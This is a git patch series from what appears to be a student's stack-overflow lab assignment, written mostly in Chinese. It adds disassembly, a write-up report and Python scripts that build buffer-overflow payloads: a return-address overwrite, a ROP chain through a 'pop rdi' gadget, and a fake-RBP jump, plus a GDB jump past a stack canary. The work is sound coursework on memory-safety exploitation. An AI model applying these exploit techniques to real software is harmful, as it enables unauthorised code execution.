ff ff jl 1246 + 1305: 90 nop + 1306: 48 8b 45 f8 mov -0x8(%rbp),%rax + 130a: 64 48 2b 04 25 28 00 sub %fs:0x28,%rax + 1311: 00 00 + 1313: 74 05 je 131a + 1315: e8 b6 fd ff ff call 10d0 <__stack_chk_fail@plt> + 131a: c9 leave + 131b: c3 ret + +000000000000131c : + 131c: f3 0f 1e fa endbr64 + 1320: 55 push %rbp + 1321: 48 89 e5 mov %rsp,%rbp + 1324: 48 83 ec 10 sub $0x10,%rsp + 1328: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax + 132f: 00 00 + 1331: 48 89 45 f8 mov %rax,-0x8(%rbp) + 1335: 31 c0 xor %eax,%eax + 1337: 48 8d 05 ca 0c 00 00 lea 0xcca(%rip),%rax # 2008 <_IO_stdin_used+0x8> + 133e: 48 89 c7 mov %rax,%rdi + 1341: e8 6a fd ff ff call 10b0 + 1346: 90 nop + 1347: 48 8b 45 f8 mov -0x8(%rbp),%rax + 134b: 64 48 2b 04 25 28 00 sub %fs:0x28,%rax + 1352: 00 00 + 1354: 74 05 je 135b + 1356: e8 75 fd ff ff call 10d0 <__stack_chk_fail@plt> + 135b: c9 leave + 135c: c3 ret + +000000000000135d : + 135d: f3 0f 1e fa endbr64 + 1361: 55 push %rbp + 1362: 48 89 e5 mov %rsp,%rbp + 1365: 48 83 ec 30 sub $0x30,%rsp + 1369: 89 7d dc mov %edi,-0x24(%rbp) + 136c: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax + 1373: 00 00 + 1375: 48 89 45 f8 mov %rax,-0x8(%rbp) + 1379: 31 c0 xor %eax,%eax + 137b: c7 45 f0 fe ff ff ff movl $0xfffffffe,-0x10(%rbp) + 1382: 8b 45 dc mov -0x24(%rbp),%eax + 1385: 89 45 e8 mov %eax,-0x18(%rbp) + 1388: 8b 45 e8 mov -0x18(%rbp),%eax + 138b: 89 45 f4 mov %eax,-0xc(%rbp) + 138e: 8b 45 e8 mov -0x18(%rbp),%eax + 1391: 89 c6 mov %eax,%esi + 1393: 48 8d 05 91 0c 00 00 lea 0xc91(%rip),%rax # 202b <_IO_stdin_used+0x2b> + 139a: 48 89 c7 mov %rax,%rdi + 139d: b8 00 00 00 00 mov $0x0,%eax + 13a2: e8 39 fd ff ff call 10e0 + 13a7: 8b 45 e8 mov -0x18(%rbp),%eax + 13aa: 3b 45 f0 cmp -0x10(%rbp),%eax + 13ad: 73 11 jae 13c0 + 13af: 48 8d 05 87 0c 00 00 lea 0xc87(%rip),%rax # 203d <_IO_stdin_used+0x3d> + 13b6: 48 89 c7 mov %rax,%rdi + 13b9: e8 f2 fc ff ff call 10b0 + 13be: eb 4a jmp 140a + 13c0: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%rbp) + 13c7: eb 08 jmp 13d1 + 13c9: 83 6d e8 01 subl $0x1,-0x18(%rbp) + 13cd: 83 45 ec 01 addl $0x1,-0x14(%rbp) + 13d1: 8b 45 ec mov -0x14(%rbp),%eax + 13d4: 3b 45 f0 cmp -0x10(%rbp),%eax + 13d7: 72 f0 jb 13c9 + 13d9: 83 7d e8 01 cmpl $0x1,-0x18(%rbp) + 13dd: 75 06 jne 13e5 + 13df: 83 7d f4 ff cmpl $0xffffffff,-0xc(%rbp) + 13e3: 74 11 je 13f6 + 13e5: 48 8d 05 6b 0c 00 00 lea 0xc6b(%rip),%rax # 2057 <_IO_stdin_used+0x57> + 13ec: 48 89 c7 mov %rax,%rdi + 13ef: e8 bc fc ff ff call 10b0 + 13f4: eb 14 jmp 140a + 13f6: b8 00 00 00 00 mov $0x0,%eax + 13fb: e8 1c ff ff ff call 131c + 1400: bf 00 00 00 00 mov $0x0,%edi + 1405: e8 f6 fc ff ff call 1100 + 140a: 48 8b 45 f8 mov -0x8(%rbp),%rax + 140e: 64 48 2b 04 25 28 00 sub %fs:0x28,%rax + 1415: 00 00 + 1417: 74 05 je 141e + 1419: e8 b2 fc ff ff call 10d0 <__stack_chk_fail@plt> + 141e: c9 leave + 141f: c3 ret + +0000000000001420
: + 1420: f3 0f 1e fa endbr64 + 1424: 55 push %rbp + 1425: 48 89 e5 mov %rsp,%rbp + 1428: 48 81 ec a0 00 00 00 sub $0xa0,%rsp + 142f: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax + 1436: 00 00 + 1438: 48 89 45 f8 mov %rax,-0x8(%rbp) + 143c: 31 c0 xor %eax,%eax + 143e: c7 85 64 ff ff ff ff movl $0xffffffff,-0x9c(%rbp) + 1445: ff ff ff + 1448: 8b 85 64 ff ff ff mov -0x9c(%rbp),%eax + 144e: 89 85 68 ff ff ff mov %eax,-0x98(%rbp) + 1454: c7 85 6c ff ff ff a0 movl $0xf4143da0,-0x94(%rbp) + 145b: 3d 14 f4 + 145e: 48 8d 05 0b 0c 00 00 lea 0xc0b(%rip),%rax # 2070 <_IO_stdin_used+0x70> + 1465: 48 89 c7 mov %rax,%rdi + 1468: e8 43 fc ff ff call 10b0 + 146d: 48 8d 45 80 lea -0x80(%rbp),%rax + 1471: 48 89 c6 mov %rax,%rsi + 1474: 48 8d 05 1a 0c 00 00 lea 0xc1a(%rip),%rax # 2095 <_IO_stdin_used+0x95> + 147b: 48 89 c7 mov %rax,%rdi + 147e: b8 00 00 00 00 mov $0x0,%eax + 1483: e8 68 fc ff ff call 10f0 <__isoc99_scanf@plt> + 1488: 48 b8 70 61 6b 61 67 movabs $0x77757867616b6170,%rax + 148f: 78 75 77 + 1492: 48 89 85 73 ff ff ff mov %rax,-0x8d(%rbp) + 1499: 48 b8 78 75 77 71 75 movabs $0x656f7571777578,%rax + 14a0: 6f 65 00 + 14a3: 48 89 85 78 ff ff ff mov %rax,-0x88(%rbp) + 14aa: 48 8d 85 73 ff ff ff lea -0x8d(%rbp),%rax + 14b1: be 0c 00 00 00 mov $0xc,%esi + 14b6: 48 89 c7 mov %rax,%rdi + 14b9: e8 4b fd ff ff call 1209 + 14be: 48 8d 05 d3 0b 00 00 lea 0xbd3(%rip),%rax # 2098 <_IO_stdin_used+0x98> + 14c5: 48 89 c7 mov %rax,%rdi + 14c8: e8 e3 fb ff ff call 10b0 + 14cd: 48 8d 45 a0 lea -0x60(%rbp),%rax + 14d1: 48 89 c6 mov %rax,%rsi + 14d4: 48 8d 05 ba 0b 00 00 lea 0xbba(%rip),%rax # 2095 <_IO_stdin_used+0x95> + 14db: 48 89 c7 mov %rax,%rdi + 14de: b8 00 00 00 00 mov $0x0,%eax + 14e3: e8 08 fc ff ff call 10f0 <__isoc99_scanf@plt> + 14e8: 48 b8 75 72 6b 61 67 movabs $0x68757367616b7275,%rax + 14ef: 73 75 68 + 14f2: 48 ba 71 79 71 6b 67 movabs $0x657a6d676b717971,%rdx + 14f9: 6d 7a 65 + 14fc: 48 89 45 c0 mov %rax,-0x40(%rbp) + 1500: 48 89 55 c8 mov %rdx,-0x38(%rbp) + 1504: 48 b8 74 75 75 69 75 movabs $0x7378787569757574,%rax + 150b: 78 78 73 + 150e: 48 ba 75 68 71 6b 61 movabs $0x617367616b716875,%rdx + 1515: 67 73 61 + 1518: 48 89 45 d0 mov %rax,-0x30(%rbp) + 151c: 48 89 55 d8 mov %rdx,-0x28(%rbp) + 1520: 48 b8 68 71 6b 61 67 movabs $0x61617367616b7168,%rax + 1527: 73 61 61 + 152a: 48 ba 70 65 6f 61 64 movabs $0x657164616f6570,%rdx + 1531: 71 65 00 + 1534: 48 89 45 d9 mov %rax,-0x27(%rbp) + 1538: 48 89 55 e1 mov %rdx,-0x1f(%rbp) + 153c: 48 8d 45 c0 lea -0x40(%rbp),%rax + 1540: be 0c 00 00 00 mov $0xc,%esi + 1545: 48 89 c7 mov %rax,%rdi + 1548: e8 bc fc ff ff call 1209 + 154d: 48 8d 05 5c 0b 00 00 lea 0xb5c(%rip),%rax # 20b0 <_IO_stdin_used+0xb0> + 1554: 48 89 c7 mov %rax,%rdi + 1557: e8 54 fb ff ff call 10b0 + 155c: c7 85 60 ff ff ff 00 movl $0x0,-0xa0(%rbp) + 1563: 00 00 00 + 1566: 48 8d 85 60 ff ff ff lea -0xa0(%rbp),%rax + 156d: 48 89 c6 mov %rax,%rsi + 1570: 48 8d 05 6c 0b 00 00 lea 0xb6c(%rip),%rax # 20e3 <_IO_stdin_used+0xe3> + 1577: 48 89 c7 mov %rax,%rdi + 157a: b8 00 00 00 00 mov $0x0,%eax + 157f: e8 6c fb ff ff call 10f0 <__isoc99_scanf@plt> + 1584: 8b 85 60 ff ff ff mov -0xa0(%rbp),%eax + 158a: 89 c7 mov %eax,%edi + 158c: e8 cc fd ff ff call 135d + 1591: 90 nop + 1592: eb d2 jmp 1566 + +Disassembly of section .fini: + +0000000000001594 <_fini>: + 1594: f3 0f 1e fa endbr64 + 1598: 48 83 ec 08 sub $0x8,%rsp + 159c: 48 83 c4 08 add $0x8,%rsp + 15a0: c3 ret diff --git a/reports/111.png b/reports/111.png new file mode 100644 index 0000000000000000000000000000000000000000..f0e8997151320ed7d93142bcf4ed449272c279fd GIT binary patch literal 14866 zcma*O1yCH(vpzaNLV^>5y99^eu0ewbcbCQ8Jp^}m3Blc6gS)%CyDt79zkBbKdjG1s zRlCzQJ2QP|PM_|tyT1wgAuWmkiwz3^0D{(GKV(iPeMk%8k&fOEa4r(7}_JAd|fzR%L&b3K6}d^=KWMx zij0~<6?dn9gPBli;oyxBiRb?{dLixCZnaEY9zSYzQ~Hz^^hBlM3_mlVk7-A~)6#nC z;|$q2ZV|&)|M0U*B9^1w_e(`v`5@Iac4xh zPF87Y9n51&61N_WMHcu-WH96Rj*|b2@0(ngKh{tR5WUF_4Id%&zJC-B{`bc_K!_EG zjoDt`+1a_&?Dfdky_T@LSy`QImMQ@O$99^Z|LwGu{~cxcPulQ-6#8EZPT|=bF=1hO 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**解决方案**： + Payload 结构为：`[16字节 Padding] + [8字节 Address]`。 + + **Python 构造逻辑**： + ```python + padding = b'A' * 16 # 填满 Buffer 和 RBP + addr = (0x401216).to_bytes(8, 'little') # func1 地址转为小端序 + # 写入文件... + ``` + + **Payload 二进制视图**： + ```text + 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| + 00000010 16 12 40 00 00 00 00 00 |..@.....| + ``` + +- **结果**： + ![Problem 1 Result](111.png) + + ### Problem 2: -- **分析**：... -- **解决方案**：payload是什么，即你的python代码or其他能体现你payload信息的代码/图片 -- **结果**：附上图片 +- **分析**： +1. **目标约束**：目标函数 `func2` (`0x401216`) 会检查第一个参数 `%edi` 是否等于 `0x3f8`。 + ```asm + 401222: 89 7d fc mov %edi,-0x4(%rbp) + 401225: 81 7d fc f8 03 00 00 cmpl $0x3f8,-0x4(%rbp) # 检查参数 + ``` + 2. **技术难点**：x86-64 架构下参数通过寄存器传递（Arg1 在 `%rdi`）。仅通过栈溢出覆盖返回地址无法直接修改寄存器，需使用 **ROP (Return Oriented Programming)** 技术。 + 3. **寻找 Gadget**：在程序中找到现成的指令片段 `pop %rdi; ret` (位于 `0x4012c7`)。 + * 该 Gadget 的作用是将栈顶数据弹出至 `%rdi`，然后返回，从而实现参数赋值。 + 4. **攻击链构造**： + * `[Padding 16字节]`：填满缓冲区。 + * `[Gadget 地址]`：覆盖原返回地址，程序跳转至 `pop %rdi`。 + * `[0x3f8]`：作为参数布置在栈上，被 Gadget 捕获放入 `%rdi`。 + * `[func2 地址]`：Gadget 执行 `ret` 后，程序跳转至最终目标。 + +- **解决方案**： + Payload 结构：`[Padding] + [Gadget Addr] + [Param Value] + [Target Addr]` + + **Python 构造逻辑**： + ```python + padding = b'A' * 16 + gadget = (0x4012c7).to_bytes(8, 'little') # pop rdi; ret + param = (0x3f8).to_bytes(8, 'little') # 参数值 + target = (0x401216).to_bytes(8, 'little') # func2 + + payload = padding + gadget + param + target + ``` + +**Payload 二进制视图**： + ```text + 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| + 00000010 c7 12 40 00 00 00 00 00 f8 03 00 00 00 00 00 00 |..@.............| + 00000020 16 12 40 00 00 00 00 00 |..@.....| + ``` + +- **结果**： + ![Problem 2 Result](222.png) + ### Problem 3: - **分析**：... diff --git a/solve1.py b/solve1.py new file mode 100644 index 0000000..2af28cd --- /dev/null +++ b/solve1.py @@ -0,0 +1,12 @@ +import sys + +padding_len = 16 +padding = b"A" * padding_len + +target_address = (0x401216).to_bytes(8, byteorder='little') + +payload = padding + target_address + + +with open("ans1.txt", "wb") as f: + f.write(payload) diff --git a/solve2.py b/solve2.py new file mode 100644 index 0000000..7d7748c --- /dev/null +++ b/solve2.py @@ -0,0 +1,17 @@ +import sys + +padding = b'A' * 16 + +gadget_addr = (0x4012c7).to_bytes(8, 'little') + +param_val = (0x3f8).to_bytes(8, 'little') + +func2_addr = (0x401216).to_bytes(8, 'little') + +#组合 +payload = padding + gadget_addr + param_val + func2_addr + +with open("ans2.txt", "wb") as f: + f.write(payload) + +print("ans2.txt 生成成功！") \ No newline at end of file From 5eb894a4164101d64aaae6c1905fce3721fb0140 Mon Sep 17 00:00:00 2001 From: Keyuq Date: Mon, 19 Jan 2026 10:51:04 +0800 Subject: [PATCH 4/4] =?UTF-8?q?=E5=AE=8C=E6=88=903=E4=B8=8E4?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ans3.txt | Bin 0 -> 48 bytes ans4.txt | 1 + problem3 | Bin reports/333.png | Bin 0 -> 26165 bytes reports/444.png | Bin 0 -> 33627 bytes reports/report.md | 49 +++- reports/report_tmp.html | 512 ++++++++++++++++++++++++++++++++++++++++ solve3.py | 13 + 8 files changed, 567 insertions(+), 8 deletions(-) create mode 100644 ans3.txt create mode 100644 ans4.txt mode change 100644 => 100755 problem3 create mode 100644 reports/333.png create mode 100644 reports/444.png create mode 100644 reports/report_tmp.html create mode 100644 solve3.py diff --git a/ans3.txt b/ans3.txt new file mode 100644 index 0000000000000000000000000000000000000000..b1905a7256f4200c35a1a1d2f359061101233419 GIT binary patch literal 48 UcmZ>C#18^Y9T-4BTL?k}02e?BV*mgE literal 0 HcmV?d00001 diff --git a/ans4.txt b/ans4.txt new file mode 100644 index 0000000..1ff0724 --- /dev/null +++ b/ans4.txt @@ -0,0 +1 @@ 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a/reports/report.md +++ b/reports/report.md @@ -21,7 +21,7 @@ ```python padding = b'A' * 16 # 填满 Buffer 和 RBP addr = (0x401216).to_bytes(8, 'little') # func1 地址转为小端序 - # 写入文件... + ``` **Payload 二进制视图**： @@ -42,7 +42,7 @@ 401222: 89 7d fc mov %edi,-0x4(%rbp) 401225: 81 7d fc f8 03 00 00 cmpl $0x3f8,-0x4(%rbp) # 检查参数 ``` - 2. **技术难点**：x86-64 架构下参数通过寄存器传递（Arg1 在 `%rdi`）。仅通过栈溢出覆盖返回地址无法直接修改寄存器，需使用 **ROP (Return Oriented Programming)** 技术。 + 2. **技术难点**：x86-64 架构下参数通过寄存器传递（Arg1 在 `%rdi`）。仅通过栈溢出覆盖返回地址无法直接修改寄存器，需使用 **ROP** 技术。 3. **寻找 Gadget**：在程序中找到现成的指令片段 `pop %rdi; ret` (位于 `0x4012c7`)。 * 该 Gadget 的作用是将栈顶数据弹出至 `%rdi`，然后返回，从而实现参数赋值。 4. **攻击链构造**： @@ -76,14 +76,47 @@ ### Problem 3: -- **分析**：... -- **解决方案**：payload是什么，即你的python代码or其他能体现你payload信息的代码/图片 -- **结果**：附上图片 +- **分析**： + 1. **确定攻击路径**：我的目标是执行 `func1` 并输出 114。通过 `objdump` 分析 `func1`，发现其在地址 `0x401216` 处会检查 `%edi` 是否为 `0x72`。如果直接跳转到这里，需要通过 Shellcode 设置寄存器，较为繁琐。 + 2. **发现捷径**：我发现 `func1` 的打印逻辑（即输出 "Your lucky number..."）是从地址 `0x40122b` 开始的。如果直接跳转到 `0x40122b`，就可以跳过开头的参数检查指令。 + 3. **遇到的问题**：当我尝试直接覆盖返回地址跳转到 `0x40122b` 时，程序报错（Segfault/Bus Error）。 + 4. **深入分析原因**：`func1` 内部执行了 `mov %rax, -0x40(%rbp)`，试图向栈上写入数据。由于我通过跳转跳过了函数开头的 `push %rbp` 等栈帧初始化操作，此时 `%rbp` 是无效值（被我的 Padding 覆盖成了 `0x4141...`），导致写入非法内存地址。 + 5. **修正方案**：为了修复 crash，我需要在 Padding 中伪造一个合法的 `%rbp`。通过查看反汇编中的全局变量，我发现了地址 `0x403510` 位于可读写的 `.data` 段，且位置固定。 + 6. **计算**：为了让 `func1` 的写入操作 (`rbp - 0x40`) 落在这个安全区域，我构造的伪造 `%rbp` 应为 `0x403510 + 0x40 = 0x403550`。 + + +- **解决方案**： 构造的 Payload 结构为：`[32字节 Padding] + [Fake RBP (0x403550)] + [Target Address (0x40122b)]`。 + +- **结果**： ![Problem 3 Result](333.png) ### Problem 4: -- **分析**：体现canary的保护机制是什么 -- **解决方案**：payload是什么，即你的python代码or其他能体现你payload信息的代码/图片 -- **结果**：附上图片 +- **分析**： + +1. **设置 Canary**： + 在 `func` 函数开头 (地址 `136c`)，程序从 `%fs:0x28` 寄存器处读取一个随机生成的 8 字节数值（金丝雀），并将其存储在栈底 `%rbp-0x8` 的位置： + ```asm + 136c: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax #取随机值 + 1375: 48 89 45 f8 mov %rax,-0x8(%rbp) #存入栈底 + ``` + + 2. **检查 Canary**： + 在函数准备返回之前 (地址 `140a`)，程序从 `%rbp-0x8` 取出该值，并与 `%fs:0x28` 中的原值进行减法对比： + ```asm + 140a: 48 8b 45 f8 mov -0x8(%rbp),%rax # 取出栈上的值 + 140e: 64 48 2b 04 25 28 00 sub %fs:0x28,%rax # 比较 + 1417: 74 05 je 141e # 若相等则正常返回 + 1419: e8 b2 fc ff ff call 10d0 <__stack_chk_fail@plt> # 否则报错 + ``` + +**结论**：由于死循环逻辑导致难以通过正常溢出触发 Canary 报错，且题目暗示“不需要写代码”，因此我采用动态调试方法直接获取隐藏信息。 + +- **解决方案**：使用 GDB 直接跳转到隐藏函数 `func1`，绕过所有检查逻辑，直接获取通关提示。 + 操作步骤： + 1. 启动调试：`gdb problem4` + 2. 强制跳转：`jump func1` + 3. 获取输出：程序直接打印出隐藏的通关提示 + +- **结果**：![Problem 4 Result](444.png) ## 思考与总结 diff --git a/reports/report_tmp.html b/reports/report_tmp.html new file mode 100644 index 0000000..0bb422c --- /dev/null +++ b/reports/report_tmp.html @@ -0,0 +1,512 @@ + + + +report.md + + + + + + + + + + + + +

栈溢出攻击实验

+

题目解决思路

+

Problem 1:

+
    +
  • 分析：
    • +
+
    +
  1. 锁定目标：反汇编发现隐藏函数 func1（地址 0x401216），其包含 puts 调用，确定为跳转目标。
    2. +
  2. 定位漏洞：func 函数中 strcpy 存在栈溢出。指令 lea -0x8(%rbp),%rax 表明缓冲区始于 rbp-0x8。
    3. +
  3. 计算偏移： +
      +
    • 目标是覆盖 Return Address。
      • +
    • 栈布局：Buffer (8 bytes) -> Saved RBP (8 bytes) -> Return Address。
      • +
    • Offset = 8 (Buffer) + 8 (Saved RBP) = 16 字节。
      • +
    • 故需填充 16 字节垃圾数据，随后写入 func1 地址。
      • +
    +
    4. +
+
    +
  • +

    解决方案： +Payload 结构为：[16字节 Padding] + [8字节 Address]。

    +

    Python 构造逻辑：

    +
    padding = b'A' * 16                     # 填满 Buffer 和 RBP
+addr = (0x401216).to_bytes(8, 'little') # func1 地址转为小端序
+
+
    +

    Payload 二进制视图：

    +
    00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
+00000010  16 12 40 00 00 00 00 00                           |..@.....|
+
    +
    • +
  • +

    结果： +Problem 1 Result

    +
    • +
+

Problem 2:

+
    +
  • 分析：
    • +
+
    +
  1. 目标约束：目标函数 func2 (0x401216) 会检查第一个参数 %edi 是否等于 0x3f8。
    401222: 89 7d fc             mov    %edi,-0x4(%rbp)
+401225: 81 7d fc f8 03 00 00 cmpl   $0x3f8,-0x4(%rbp) # 检查参数
+
    +
    2. +
  2. 技术难点：x86-64 架构下参数通过寄存器传递（Arg1 在 %rdi）。仅通过栈溢出覆盖返回地址无法直接修改寄存器，需使用 ROP 技术。
    3. +
  3. 寻找 Gadget：在程序中找到现成的指令片段 pop %rdi; ret (位于 0x4012c7)。 +
      +
    • 该 Gadget 的作用是将栈顶数据弹出至 %rdi，然后返回，从而实现参数赋值。
      • +
    +
    4. +
  4. 攻击链构造： +
      +
    • [Padding 16字节]：填满缓冲区。
      • +
    • [Gadget 地址]：覆盖原返回地址，程序跳转至 pop %rdi。
      • +
    • [0x3f8]：作为参数布置在栈上，被 Gadget 捕获放入 %rdi。
      • +
    • [func2 地址]：Gadget 执行 ret 后，程序跳转至最终目标。
      • +
    +
    5. +
+
    +
  • 解决方案： +Payload 结构：[Padding] + [Gadget Addr] + [Param Value] + [Target Addr]
    • +
+

Python 构造逻辑：

+
padding = b'A' * 16
+gadget  = (0x4012c7).to_bytes(8, 'little') # pop rdi; ret
+param   = (0x3f8).to_bytes(8, 'little')    # 参数值
+target  = (0x401216).to_bytes(8, 'little') # func2
+
+payload = padding + gadget + param + target
+
+

Payload 二进制视图：

+
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
+00000010  c7 12 40 00 00 00 00 00  f8 03 00 00 00 00 00 00  |..@.............|
+00000020  16 12 40 00 00 00 00 00                           |..@.....|
+
+
    +
  • 结果： +Problem 2 Result
    • +
+

Problem 3:

+
    +
  • 分析：
    • +
+
    +
  1. 确定攻击路径：我的目标是执行 func1 并输出 114。通过 objdump 分析 func1，发现其在地址 0x401216 处会检查 %edi 是否为 0x72。如果直接跳转到这里，需要通过 Shellcode 设置寄存器，较为繁琐。
    2. +
  2. 发现捷径：我发现 func1 的打印逻辑（即输出 "Your lucky number..."）是从地址 0x40122b 开始的。如果直接跳转到 0x40122b，就可以跳过开头的参数检查指令。
    3. +
  3. 遇到的问题：当我尝试直接覆盖返回地址跳转到 0x40122b 时，程序报错（Segfault/Bus Error）。
    4. +
  4. 深入分析原因：func1 内部执行了 mov %rax, -0x40(%rbp)，试图向栈上写入数据。由于我通过跳转跳过了函数开头的 push %rbp 等栈帧初始化操作，此时 %rbp 是无效值（被我的 Padding 覆盖成了 0x4141...），导致写入非法内存地址。
    5. +
  5. 修正方案：为了修复 crash，我需要在 Padding 中伪造一个合法的 %rbp。通过查看反汇编中的全局变量，我发现了地址 0x403510 位于可读写的 .data 段，且位置固定。
    6. +
  6. 计算：为了让 func1 的写入操作 (rbp - 0x40) 落在这个安全区域，我构造的伪造 %rbp 应为 0x403510 + 0x40 = 0x403550。
    7. +
+
    +
  • +

    解决方案： 构造的 Payload 结构为：[32字节 Padding] + [Fake RBP (0x403550)] + [Target Address (0x40122b)]。

    +
    • +
  • +

    结果： Problem 3 Result

    +
    • +
+

Problem 4:

+
    +
  • 分析：
    • +
+
    +
  1. +

    设置 Canary： +在 func 函数开头 (地址 136c)，程序从 %fs:0x28 寄存器处读取一个随机生成的 8 字节数值（金丝雀），并将其存储在栈底 %rbp-0x8 的位置：

    +
    136c: 64 48 8b 04 25 28 00 	mov    %fs:0x28,%rax   #取随机值
+1375: 48 89 45 f8          	mov    %rax,-0x8(%rbp) #存入栈底
+
    +
    2. +
  2. +

    检查 Canary： +在函数准备返回之前 (地址 140a)，程序从 %rbp-0x8 取出该值，并与 %fs:0x28 中的原值进行减法对比：

    +
    140a: 48 8b 45 f8          	mov    -0x8(%rbp),%rax # 取出栈上的值
+140e: 64 48 2b 04 25 28 00 	sub    %fs:0x28,%rax   # 比较
+1417: 74 05                	je     141e            # 若相等则正常返回
+1419: e8 b2 fc ff ff       	call   10d0 <__stack_chk_fail@plt> # 否则报错
+
    +
    3. +
+

结论：由于死循环逻辑导致难以通过正常溢出触发 Canary 报错，且题目暗示“不需要写代码”，因此我采用动态调试方法直接获取隐藏信息。

+
    +
  • +

    解决方案：使用 GDB 直接跳转到隐藏函数 func1，绕过所有检查逻辑，直接获取通关提示。 +操作步骤：

    +
      +
    1. 启动调试：gdb problem4
      2. +
    2. 强制跳转：jump func1
      3. +
    3. 获取输出：程序直接打印出隐藏的通关提示
      4. +
    +
    • +
  • +

    结果：Problem 4 Result

    +
    • +
+

思考与总结

+

参考资料

+

列出在准备报告过程中参考的所有文献、网站或其他资源，确保引用格式正确。

+ + + diff --git a/solve3.py b/solve3.py new file mode 100644 index 0000000..0bc15d3 --- /dev/null +++ b/solve3.py @@ -0,0 +1,13 @@ +import sys + +buffer_padding = b'A' * 32 + +fake_rbp = (0x403550).to_bytes(8, 'little') + +target_address = (0x40122b).to_bytes(8, 'little') + +payload = buffer_padding + fake_rbp + target_address + +with open("ans3.txt", "wb") as f: + f.write(payload) +